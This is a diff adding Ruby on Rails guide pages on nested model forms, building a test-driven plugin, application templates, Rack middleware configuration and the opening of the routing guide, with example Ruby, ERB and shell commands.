+class Person
+ def projects
+ [Project.new, Project.new]
+ end
+
+ def projects_attributes=(attributes)
+ # ...
+ end
+end
+```
+
+NOTE: See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model.
+
+Views
+-----
+
+### Controller code
+
+A nested model form will _only_ be built if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first.
+
+Consider the following typical RESTful controller which will prepare a new Person instance and its `address` and `projects` associations before rendering the `new` template:
+
+```ruby
+class PeopleController < ApplicationController
+ def new
+ @person = Person.new
+ @person.built_address
+ 2.times { @person.projects.build }
+ end
+
+ def create
+ @person = Person.new(params[:person])
+ if @person.save
+ # ...
+ end
+ end
+end
+```
+
+NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an `after_initialize` callback which is a good way to refactor this.
+
+### Form code
+
+Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form.
+
+#### Standard form
+
+Start out with a regular RESTful form:
+
+```erb
+<%= form_for @person do |f| %>
+ <%= f.text_field :name %>
+<% end %>
+```
+
+This will generate the following html:
+
+```html
+<form action="/people" class="new_person" id="new_person" method="post">
+ <input id="person_name" name="person[name]" type="text" />
+</form>
+```
+
+#### Nested form for a single associated object
+
+Now add a nested form for the `address` association:
+
+```erb
+<%= form_for @person do |f| %>
+ <%= f.text_field :name %>
+
+ <%= f.fields_for :address do |af| %>
+ <%= af.text_field :street %>
+ <% end %>
+<% end %>
+```
+
+This generates:
+
+```html
+<form action="/people" class="new_person" id="new_person" method="post">
+ <input id="person_name" name="person[name]" type="text" />
+
+ <input id="person_address_attributes_street" name="person[address_attributes][street]" type="text" />
+</form>
+```
+
+Notice that `fields_for` recognized the `address` as an association for which a nested model form should be built by the way it has namespaced the `name` attribute.
+
+When this form is posted the Rails parameter parser will construct a hash like the following:
+
+```ruby
+{
+ "person" => {
+ "name" => "Eloy Duran",
+ "address_attributes" => {
+ "street" => "Nieuwe Prinsengracht"
+ }
+ }
+}
+```
+
+That’s it. The controller will simply pass this hash on to the model from the `create` action. The model will then handle building the `address` association for you and automatically save it when the parent (`person`) is saved.
+
+#### Nested form for a collection of associated objects
+
+The form code for an association collection is pretty similar to that of a single associated object:
+
+```erb
+<%= form_for @person do |f| %>
+ <%= f.text_field :name %>
+
+ <%= f.fields_for :projects do |pf| %>
+ <%= pf.text_field :name %>
+ <% end %>
+<% end %>
+```
+
+Which generates:
+
+```html
+<form action="/people" class="new_person" id="new_person" method="post">
+ <input id="person_name" name="person[name]" type="text" />
+
+ <input id="person_projects_attributes_0_name" name="person[projects_attributes][0][name]" type="text" />
+ <input id="person_projects_attributes_1_name" name="person[projects_attributes][1][name]" type="text" />
+</form>
+```
+
+As you can see it has generated 2 `project name` inputs, one for each new `project` that was built in the controller's `new` action. Only this time the `name` attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as:
+
+```ruby
+{
+ "person" => {
+ "name" => "Eloy Duran",
+ "projects_attributes" => {
+ "0" => { "name" => "Project 1" },
+ "1" => { "name" => "Project 2" }
+ }
+ }
+}
+```
+
+You can basically see the `projects_attributes` hash as an array of attribute hashes, one for each model instance.
+
+NOTE: The reason that `fields_for` constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep.
+
+TIP: You _can_ however pass an array to the writer method generated by `accepts_nested_attributes_for` if you're using plain Ruby or some other API access. See (TODO) for more info and example.

+The Basics of Creating Rails Plugins
+====================================
+
+A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
+
+* a way for developers to share bleeding-edge ideas without hurting the stable code base
+* a segmented architecture so that units of code can be fixed or updated on their own release schedule
+* an outlet for the core developers so that they don’t have to include every cool new feature under the sun
+
+After reading this guide, you will know:
+
+* How to create a plugin from scratch.
+* How to write and run tests for the plugin.
+
+This guide describes how to build a test-driven plugin that will:
+
+* Extend core Ruby classes like Hash and String.
+* Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins.
+* Give you information about where to put generators in your plugin.
+
+For the purpose of this guide pretend for a moment that you are an avid bird watcher.
+Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle
+goodness.
+
+--------------------------------------------------------------------------------
+
+Setup
+-----
+
+Currently, Rails plugins are built as gems, _gemified plugins_. They can be shared across
+different rails applications using RubyGems and Bundler if desired.
+
+### Generate a gemified plugin.
+
+
+Rails ships with a `rails plugin new` command which creates a
+ skeleton for developing any kind of Rails extension with the ability
+ to run integration tests using a dummy Rails application. See usage
+ and options by asking for help:
+
+```bash
+$ rails plugin --help
+```
+
+Testing your newly generated plugin
+-----------------------------------
+
+You can navigate to the directory that contains the plugin, run the `bundle install` command
+ and run the one generated test using the `rake` command.
+
+You should see:
+
+```bash
+ 2 tests, 2 assertions, 0 failures, 0 errors, 0 skips
+```
+
+This will tell you that everything got generated properly and you are ready to start adding functionality.
+
+Extending Core Classes
+----------------------
+
+This section will explain how to add a method to String that will be available anywhere in your rails application.
+
+In this example you will add a method to String named `to_squawk`. To begin, create a new test file with a few assertions:
+
+```ruby
+# yaffle/test/core_ext_test.rb
+
+require 'test_helper'
+
+class CoreExtTest < Test::Unit::TestCase
+ def test_to_squawk_prepends_the_word_squawk
+ assert_equal "squawk! Hello World", "Hello World".to_squawk
+ end
+end
+```
+
+Run `rake` to run the test. This test should fail because we haven't implemented the `to_squawk` method:
+
+```bash
+ 1) Error:
+ test_to_squawk_prepends_the_word_squawk(CoreExtTest):
+ NoMethodError: undefined method `to_squawk' for [Hello World](String)
+ test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
+```
+
+Great - now you are ready to start development.
+
+Then in `lib/yaffle.rb` add `require "yaffle/core_ext"`:
+
+```ruby
+# yaffle/lib/yaffle.rb
+
+require "yaffle/core_ext"
+
+module Yaffle
+end
+```
+
+Finally, create the `core_ext.rb` file and add the `to_squawk` method:
+
+```ruby
+# yaffle/lib/yaffle/core_ext.rb
+
+String.class_eval do
+ def to_squawk
+ "squawk! #{self}".strip
+ end
+end
+```
+
+To test that your method does what it says it does, run the unit tests with `rake` from your plugin directory.
+
+```bash
+ 3 tests, 3 assertions, 0 failures, 0 errors, 0 skips
+```
+
+To see this in action, change to the test/dummy directory, fire up a console and start squawking:
+
+```bash
+$ rails console
+>> "Hello World".to_squawk
+=> "squawk! Hello World"
+```
+
+Add an "acts_as" Method to Active Record
+----------------------------------------
+
+A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you
+want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your Active Record models.
+
+To begin, set up your files so that you have:
+
+```ruby
+# yaffle/test/acts_as_yaffle_test.rb
+
+require 'test_helper'
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+end
+```
+
+```ruby
+# yaffle/lib/yaffle.rb
+
+require "yaffle/core_ext"
+require 'yaffle/acts_as_yaffle'
+
+module Yaffle
+end
+```
+
+```ruby
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+ module ActsAsYaffle
+ # your code will go here
+ end
+end
+```
+
+### Add a Class Method
+
+This plugin will expect that you've added a method to your model named 'last_squawk'. However, the
+plugin users might have already defined a method on their model named 'last_squawk' that they use
+for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'.
+
+To start out, write a failing test that shows the behavior you'd like:
+
+```ruby
+# yaffle/test/acts_as_yaffle_test.rb
+
+require 'test_helper'
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+
+ def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+ assert_equal "last_squawk", Hickwall.yaffle_text_field
+ end
+
+ def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+ assert_equal "last_tweet", Wickwall.yaffle_text_field
+ end
+
+end
+```
+
+When you run `rake`, you should see the following:
+
+```
+ 1) Error:
+ test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
+ NameError: uninitialized constant ActsAsYaffleTest::Hickwall
+ test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
+
+ 2) Error:
+ test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
+ NameError: uninitialized constant ActsAsYaffleTest::Wickwall
+ test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
+
+ 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
+```
+
+This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test.
+We can easily generate these models in our "dummy" Rails application by running the following commands from the
+test/dummy directory:
+
+```bash
+$ cd test/dummy
+$ rails generate model Hickwall last_squawk:string
+$ rails generate model Wickwall last_squawk:string last_tweet:string
+```
+
+Now you can create the necessary database tables in your testing database by navigating to your dummy app
+and migrating the database. First
+
+```bash
+$ cd test/dummy
+$ rake db:migrate
+$ rake db:test:prepare
+```
+
+While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act
+like yaffles.
+
+```ruby
+# test/dummy/app/models/hickwall.rb
+
+class Hickwall < ActiveRecord::Base
+ acts_as_yaffle
+end
+
+# test/dummy/app/models/wickwall.rb
+
+class Wickwall < ActiveRecord::Base
+ acts_as_yaffle yaffle_text_field: :last_tweet
+end
+
+```
+
+We will also add code to define the acts_as_yaffle method.
+
+```ruby
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+module Yaffle
+ module ActsAsYaffle
+ extend ActiveSupport::Concern
+
+ included do
+ end
+
+ module ClassMethods
+ def acts_as_yaffle(options = {})
+ # your code will go here
+ end
+ end
+ end
+end
+
+ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
+```
+
+You can then return to the root directory (`cd ../..`) of your plugin and rerun the tests using `rake`.
+
+```
+ 1) Error:
+ test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
+ NoMethodError: undefined method `yaffle_text_field' for #<Class:0x000001016661b8>
+ /Users/xxx/.rvm/gems/ruby-1.9.2-p136 at xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
+ test/acts_as_yaffle_test.rb:5:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
+
+ 2) Error:
+ test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
+ NoMethodError: undefined method `yaffle_text_field' for #<Class:0x00000101653748>
+ Users/xxx/.rvm/gems/ruby-1.9.2-p136 at xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
+ test/acts_as_yaffle_test.rb:9:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
+
+ 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
+
+```
+
+Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass.
+
+```ruby
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+ module ActsAsYaffle
+ extend ActiveSupport::Concern
+
+ included do
+ end
+
+ module ClassMethods
+ def acts_as_yaffle(options = {})
+ cattr_accessor :yaffle_text_field
+ self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+ end
+ end
+ end
+end
+
+ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
+```
+
+When you run `rake` you should see the tests all pass:
+
+```bash
+ 5 tests, 5 assertions, 0 failures, 0 errors, 0 skips
+```
+
+### Add an Instance Method
+
+This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk'
+method will simply set the value of one of the fields in the database.
+
+To start out, write a failing test that shows the behavior you'd like:
+
+```ruby
+# yaffle/test/acts_as_yaffle_test.rb
+require 'test_helper'
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+
+ def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+ assert_equal "last_squawk", Hickwall.yaffle_text_field
+ end
+
+ def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+ assert_equal "last_tweet", Wickwall.yaffle_text_field
+ end
+
+ def test_hickwalls_squawk_should_populate_last_squawk
+ hickwall = Hickwall.new
+ hickwall.squawk("Hello World")
+ assert_equal "squawk! Hello World", hickwall.last_squawk
+ end
+
+ def test_wickwalls_squawk_should_populate_last_tweet
+ wickwall = Wickwall.new
+ wickwall.squawk("Hello World")
+ assert_equal "squawk! Hello World", wickwall.last_tweet
+ end
+end
+```
+
+Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'",
+then update 'acts_as_yaffle.rb' to look like this:
+
+```ruby
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+ module ActsAsYaffle
+ extend ActiveSupport::Concern
+
+ included do
+ end
+
+ module ClassMethods
+ def acts_as_yaffle(options = {})
+ cattr_accessor :yaffle_text_field
+ self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+
+ include Yaffle::ActsAsYaffle::LocalInstanceMethods
+ end
+ end
+
+ module LocalInstanceMethods
+ def squawk(string)
+ write_attribute(self.class.yaffle_text_field, string.to_squawk)
+ end
+ end
+ end
+end
+
+ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
+```
+
+Run `rake` one final time and you should see:
+
+```
+ 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips
+```
+
+NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`.
+
+Generators
+----------
+
+Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about
+the creation of generators can be found in the [Generators Guide](generators.html)
+
+Publishing your Gem
+-------------------
+
+Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply
+commit the code to a Git repository (like GitHub) and add a line to the Gemfile of the application in question:
+
+```ruby
+gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git'
+```
+
+After running `bundle install`, your gem functionality will be available to the application.
+
+When the gem is ready to be shared as a formal release, it can be published to [RubyGems](http://www.rubygems.org).
+For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html)

+Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
+
+The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:
+
+* Your name
+* How to install
+* How to add the functionality to the app (several examples of common use cases)
+* Warnings, gotchas or tips that might help users and save them time
+
+Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not included in the public API.
+
+Once your comments are good to go, navigate to your plugin directory and run:
+
+```bash
+$ rake rdoc
+```

+Rails Application Templates
+===========================
+
+Application templates are simple Ruby files containing DSL for adding gems/initializers etc. to your freshly created Rails project or an existing Rails project.
+
+After reading this guide, you will know:
+
+* How to use templates to generate/customize Rails applications.
+* How to write your own reusable application templates using the Rails template API.
+
+--------------------------------------------------------------------------------
+
+Usage
+-----
+
+To apply a template, you need to provide the Rails generator with the location of the template you wish to apply using the -m option. This can either be a path to a file or a URL.
+
+```bash
+$ rails new blog -m ~/template.rb
+$ rails new blog -m http://example.com/template.rb
+```
+
+You can use the rake task `rails:template` to apply templates to an existing Rails application. The location of the template needs to be passed in to an environment variable named LOCATION. Again, this can either be path to a file or a URL.
+
+```bash
+$ rake rails:template LOCATION=~/template.rb
+$ rake rails:template LOCATION=http://example.com/template.rb
+```
+
+Template API
+------------
+
+The Rails templates API is easy to understand. Here's an example of a typical Rails template:
+
+```ruby
+# template.rb
+generate(:scaffold, "person name:string")
+route "root to: 'people#index'"
+rake("db:migrate")
+
+git :init
+git add: "."
+git commit: %Q{ -m 'Initial commit' }
+```
+
+The following sections outline the primary methods provided by the API:
+
+### gem(*args)
+
+Adds a `gem` entry for the supplied gem to the generated application’s `Gemfile`.
+
+For example, if your application depends on the gems `bj` and `nokogiri`:
+
+```ruby
+gem "bj"
+gem "nokogiri"
+```
+
+Please note that this will NOT install the gems for you and you will have to run `bundle install` to do that.
+
+```bash
+bundle install
+```
+
+### gem_group(*names, &block)
+
+Wraps gem entries inside a group.
+
+For example, if you want to load `rspec-rails` only in the `development` and `test` groups:
+
+```ruby
+gem_group :development, :test do
+ gem "rspec-rails"
+end
+```
+
+### add_source(source, options = {})
+
+Adds the given source to the generated application's `Gemfile`.
+
+For example, if you need to source a gem from "http://code.whytheluckystiff.net":
+
+```ruby
+add_source "http://code.whytheluckystiff.net"
+```
+
+### environment/application(data=nil, options={}, &block)
+
+Adds a line inside the `Application` class for `config/application.rb`.
+
+If `options[:env]` is specified, the line is appended to the corresponding file in `config/environments`.
+
+```ruby
+environment 'config.action_mailer.default_url_options = {host: 'http://yourwebsite.example.com'}, env: 'production'
+```
+
+A block can be used in place of the `data` argument.
+
+### vendor/lib/file/initializer(filename, data = nil, &block)
+
+Adds an initializer to the generated application’s `config/initializers` directory.
+
+Let's say you like using `Object#not_nil?` and `Object#not_blank?`:
+
+```ruby
+initializer 'bloatlol.rb', <<-CODE
+ class Object
+ def not_nil?
+ !nil?
+ end
+
+ def not_blank?
+ !blank?
+ end
+ end
+CODE
+```
+
+Similarly, `lib()` creates a file in the `lib/` directory and `vendor()` creates a file in the `vendor/` directory.
+
+There is even `file()`, which accepts a relative path from `Rails.root` and creates all the directories/files needed:
+
+```ruby
+file 'app/components/foo.rb', <<-CODE
+ class Foo
+ end
+CODE
+```
+
+That’ll create the `app/components` directory and put `foo.rb` in there.
+
+### rakefile(filename, data = nil, &block)
+
+Creates a new rake file under `lib/tasks` with the supplied tasks:
+
+```ruby
+rakefile("bootstrap.rake") do
+ <<-TASK
+ namespace :boot do
+ task :strap do
+ puts "i like boots!"
+ end
+ end
+ TASK
+end
+```
+
+The above creates `lib/tasks/bootstrap.rake` with a `boot:strap` rake task.
+
+### generate(what, *args)
+
+Runs the supplied rails generator with given arguments.
+
+```ruby
+generate(:scaffold, "person", "name:string", "address:text", "age:number")
+```
+
+### run(command)
+
+Executes an arbitrary command. Just like the backticks. Let's say you want to remove the `README.rdoc` file:
+
+```ruby
+run "rm README.rdoc"
+```
+
+### rake(command, options = {})
+
+Runs the supplied rake tasks in the Rails application. Let's say you want to migrate the database:
+
+```ruby
+rake "db:migrate"
+```
+
+You can also run rake tasks with a different Rails environment:
+
+```ruby
+rake "db:migrate", env: 'production'
+```
+
+### route(routing_code)
+
+Adds a routing entry to the `config/routes.rb` file. In the steps above, we generated a person scaffold and also removed `README.rdoc`. Now, to make `PeopleController#index` the default page for the application:
+
+```ruby
+route "root to: 'person#index'"
+```
+
+### inside(dir)
+
+Enables you to run a command from the given directory. For example, if you have a copy of edge rails that you wish to symlink from your new apps, you can do this:
+
+```ruby
+inside('vendor') do
+ run "ln -s ~/commit-rails/rails rails"
+end
+```
+
+### ask(question)
+
+`ask()` gives you a chance to get some feedback from the user and use it in your templates. Let's say you want your user to name the new shiny library you’re adding:
+
+```ruby
+lib_name = ask("What do you want to call the shiny library ?")
+lib_name << ".rb" unless lib_name.index(".rb")
+
+lib lib_name, <<-CODE
+ class Shiny
+ end
+CODE
+```
+
+### yes?(question) or no?(question)
+
+These methods let you ask questions from templates and decide the flow based on the user’s answer. Let's say you want to freeze rails only if the user wants to:
+
+```ruby
+rake("rails:freeze:gems") if yes?("Freeze rails gems?")
+# no?(question) acts just the opposite.
+```
+
+### git(:command)
+
+Rails templates let you run any git command:
+
+```ruby
+git :init
+git add: "."
+git commit: "-a -m 'Initial commit'"
+```

+Rails on Rack
+=============
+
+This guide covers Rails integration with Rack and interfacing with other Rack components.
+
+After reading this guide, you will know:
+
+* How to create Rails Metal applications.
+* How to use Rack Middlewares in your Rails applications.
+* Action Pack's internal Middleware stack.
+* How to define a custom Middleware stack.
+
+--------------------------------------------------------------------------------
+
+WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and `Rack::Builder`.
+
+Introduction to Rack
+--------------------
+
+Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
+
+- [Rack API Documentation](http://rack.rubyforge.org/doc/)
+
+Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the [Resources](#resources) section below.
+
+Rails on Rack
+-------------
+
+### Rails Application's Rack Object
+
+`ApplicationName::Application` is the primary Rack application object of a Rails
+application. Any Rack compliant web server should be using
+`ApplicationName::Application` object to serve a Rails
+application. `Rails.application` refers to the same application object.
+
+### `rails server`
+
+`rails server` does the basic job of creating a `Rack::Server` object and starting the webserver.
+
+Here's how `rails server` creates an instance of `Rack::Server`
+
+```ruby
+Rails::Server.new.tap do |server|
+ require APP_PATH
+ Dir.chdir(Rails.application.root)
+ server.start
+end
+```
+
+The `Rails::Server` inherits from `Rack::Server` and calls the `Rack::Server#start` method this way:
+
+```ruby
+class Server < ::Rack::Server
+ def start
+ ...
+ super
+ end
+end
+```
+
+Here's how it loads the middlewares:
+
+```ruby
+def middleware
+ middlewares = []
+ middlewares << [Rails::Rack::Debugger] if options[:debugger]
+ middlewares << [::Rack::ContentLength]
+ Hash.new(middlewares)
+end
+```
+
+`Rails::Rack::Debugger` is primarily useful only in the development environment. The following table explains the usage of the loaded middlewares:
+
+| Middleware | Purpose |
+| ----------------------- | --------------------------------------------------------------------------------- |
+| `Rails::Rack::Debugger` | Starts Debugger |
+| `Rack::ContentLength` | Counts the number of bytes in the response and set the HTTP Content-Length header |
+
+### `rackup`
+
+To use `rackup` instead of Rails' `rails server`, you can put the following inside `config.ru` of your Rails application's root directory:
+
+```ruby
+# Rails.root/config.ru
+require ::File.expand_path('../config/environment', __FILE__)
+
+use Rack::Debugger
+use Rack::ContentLength
+run Rails.application
+```
+
+And start the server:
+
+```bash
+$ rackup config.ru
+```
+
+To find out more about different `rackup` options:
+
+```bash
+$ rackup --help
+```
+
+Action Dispatcher Middleware Stack
+----------------------------------
+
+Many of Action Dispatcher's internal components are implemented as Rack middlewares. `Rails::Application` uses `ActionDispatch::MiddlewareStack` to combine various internal and external middlewares to form a complete Rails Rack application.
+
+NOTE: `ActionDispatch::MiddlewareStack` is Rails equivalent of `Rack::Builder`, but built for better flexibility and more features to meet Rails' requirements.
+
+### Inspecting Middleware Stack
+
+Rails has a handy rake task for inspecting the middleware stack in use:
+
+```bash
+$ rake middleware
+```
+
+For a freshly generated Rails application, this might produce something like:
+
+```ruby
+use ActionDispatch::Static
+use Rack::Lock
+use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x000000029a0838>
+use Rack::Runtime
+use Rack::MethodOverride
+use ActionDispatch::RequestId
+use Rails::Rack::Logger
+use ActionDispatch::ShowExceptions
+use ActionDispatch::DebugExceptions
+use ActionDispatch::RemoteIp
+use ActionDispatch::Reloader
+use ActionDispatch::Callbacks
+use ActiveRecord::ConnectionAdapters::ConnectionManagement
+use ActiveRecord::QueryCache
+use ActionDispatch::Cookies
+use ActionDispatch::Session::CookieStore
+use ActionDispatch::Flash
+use ActionDispatch::ParamsParser
+use Rack::Head
+use Rack::ConditionalGet
+use Rack::ETag
+run MyApp::Application.routes
+```
+
+Purpose of each of this middlewares is explained in the [Internal Middlewares](#internal-middleware-stack) section.
+
+### Configuring Middleware Stack
+
+Rails provides a simple configuration interface `config.middleware` for adding, removing and modifying the middlewares in the middleware stack via `application.rb` or the environment specific configuration file `environments/<environment>.rb`.
+
+#### Adding a Middleware
+
+You can add a new middleware to the middleware stack using any of the following methods:
+
+* `config.middleware.use(new_middleware, args)` - Adds the new middleware at the bottom of the middleware stack.
+
+* `config.middleware.insert_before(existing_middleware, new_middleware, args)` - Adds the new middleware before the specified existing middleware in the middleware stack.
+
+* `config.middleware.insert_after(existing_middleware, new_middleware, args)` - Adds the new middleware after the specified existing middleware in the middleware stack.
+
+```ruby
+# config/application.rb
+
+# Push Rack::BounceFavicon at the bottom
+config.middleware.use Rack::BounceFavicon
+
+# Add Lifo::Cache after ActiveRecord::QueryCache.
+# Pass { page_cache: false } argument to Lifo::Cache.
+config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, page_cache: false
+```
+
+#### Swapping a Middleware
+
+You can swap an existing middleware in the middleware stack using `config.middleware.swap`.
+
+```ruby
+# config/application.rb
+
+# Replace ActionDispatch::ShowExceptions with Lifo::ShowExceptions
+config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions
+```
+
+#### Middleware Stack is an Enumerable
+
+The middleware stack behaves just like a normal `Enumerable`. You can use any `Enumerable` methods to manipulate or interrogate the stack. The middleware stack also implements some `Array` methods including `[]`, `unshift` and `delete`. Methods described in the section above are just convenience methods.
+
+Append following lines to your application configuration:
+
+```ruby
+# config/application.rb
+config.middleware.delete "Rack::Lock"
+```
+
+And now if you inspect the middleware stack, you'll find that `Rack::Lock` will not be part of it.
+
+```bash
+$ rake middleware
+(in /Users/lifo/Rails/blog)
+use ActionDispatch::Static
+use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8>
+use Rack::Runtime
+...
+run Blog::Application.routes
+```
+
+If you want to remove session related middleware, do the following:
+
+```ruby
+# config/application.rb
+config.middleware.delete "ActionDispatch::Cookies"
+config.middleware.delete "ActionDispatch::Session::CookieStore"
+config.middleware.delete "ActionDispatch::Flash"
+```
+
+And to remove browser related middleware,
+
+```ruby
+# config/application.rb
+config.middleware.delete "Rack::MethodOverride"
+```
+
+### Internal Middleware Stack
+
+Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them:
+
+ **`ActionDispatch::Static`**
+
+* Used to serve static assets. Disabled if `config.serve_static_assets` is true.
+
+ **`Rack::Lock`**
+
+* Sets `env["rack.multithread"]` flag to `false` and wraps the application within a Mutex.
+
+ **`ActiveSupport::Cache::Strategy::LocalCache::Middleware`**
+
+* Used for memory caching. This cache is not thread safe.
+
+ **`Rack::Runtime`**
+
+* Sets an X-Runtime header, containing the time (in seconds) taken to execute the request.
+
+ **`Rack::MethodOverride`**
+
+* Allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PUT and DELETE HTTP method types.
+
+ **`ActionDispatch::RequestId`**
+
+* Makes a unique `X-Request-Id` header available to the response and enables the `ActionDispatch::Request#uuid` method.
+
+ **`Rails::Rack::Logger`**
+
+* Notifies the logs that the request has began. After request is complete, flushes all the logs.
+
+ **`ActionDispatch::ShowExceptions`**
+
+* Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user.
+
+ **`ActionDispatch::DebugExceptions`**
+
+* Responsible for logging exceptions and showing a debugging page in case the request is local.
+
+ **`ActionDispatch::RemoteIp`**
+
+* Checks for IP spoofing attacks.
+
+ **`ActionDispatch::Reloader`**
+
+* Provides prepare and cleanup callbacks, intended to assist with code reloading during development.
+
+ **`ActionDispatch::Callbacks`**
+
+* Runs the prepare callbacks before serving the request.
+
+ **`ActiveRecord::ConnectionAdapters::ConnectionManagement`**
+
+* Cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`.
+
+ **`ActiveRecord::QueryCache`**
+
+* Enables the Active Record query cache.
+
+ **`ActionDispatch::Cookies`**
+
+* Sets cookies for the request.
+
+ **`ActionDispatch::Session::CookieStore`**
+
+* Responsible for storing the session in cookies.
+
+ **`ActionDispatch::Flash`**
+
+* Sets up the flash keys. Only available if `config.action_controller.session_store` is set to a value.
+
+ **`ActionDispatch::ParamsParser`**
+
+* Parses out parameters from the request into `params`.
+
+ **`ActionDispatch::Head`**
+
+* Converts HEAD requests to `GET` requests and serves them as so.
+
+ **`Rack::ConditionalGet`**
+
+* Adds support for "Conditional `GET`" so that server responds with nothing if page wasn't changed.
+
+ **`Rack::ETag`**
+
+* Adds ETag header on all String bodies. ETags are used to validate cache.
+
+TIP: It's possible to use any of the above middlewares in your custom Rack stack.
+
+### Using Rack Builder
+
+The following shows how to replace use `Rack::Builder` instead of the Rails supplied `MiddlewareStack`.
+
+<strong>Clear the existing Rails middleware stack</strong>
+
+```ruby
+# config/application.rb
+config.middleware.clear
+```
+
+<br />
+<strong>Add a `config.ru` file to `Rails.root`</strong>
+
+```ruby
+# config.ru
+use MyOwnStackFromScratch
+run Rails.application
+```

+Rails Routing from the Outside In
+=================================
+
+This guide covers the user-facing features of Rails routing.
+
+After reading this guide, you will know:
+
+* How to interpret the code in `routes.rb`.
+* How to construct your own routes, using either the preferred resourceful style or the `match` method.
+* What parameters to expect an action to receive.
+* How to automatically create paths and URLs using route helpers.
+* Advanced techniques such as constraints and Rack endpoints.
+
+--------------------------------------------------------------------------------
+
+The Purpose of the Rails Router
+-------------------------------
+
+The Rails router recognizes URLs and dispatches them to a controller's action. It can also generate paths and URLs, avoiding the need to hardcode strings in your views.
+
+### Connecting URLs to Code
+
+When your Rails application receives an incoming request for:
+
+```
+GET /patients/17
+```
+
+it asks the router to match it to a controller action. If the first matching route is:
+
+```ruby
+get '/patients/:id', to: 'patients#show'
+```
+
+the request is dispatched to the `patients` controller's `show` action with `{ id: '17' }` in `params`.
+
+### Generating Paths and URLs from Code
+
+You can also generate paths and URLs. If the route above is modified to be:
+
+```ruby
+get '/patients/:id', to: 'patients#show', as: 'patient'
+```
+
+and your application contains this code in the controller:
+
+```ruby
+ at patient = Patient.find(17)
+```
+
+and this in the corresponding view:
+
+```erb
+<%= link_to 'Patient Record', patient_path(@patient) %>
+```
+
+then the router will generate the path `/patients/17`. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper.
+
+Resource Routing: the Rails Default
+-----------------------------------
+
+Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. Instead of declaring separate routes for your `index`, `show`, `new`, `edit`, `create`, `update` and `destroy` actions, a resourceful route declares them in a single line of code.
+
+### Resources on the Web
+
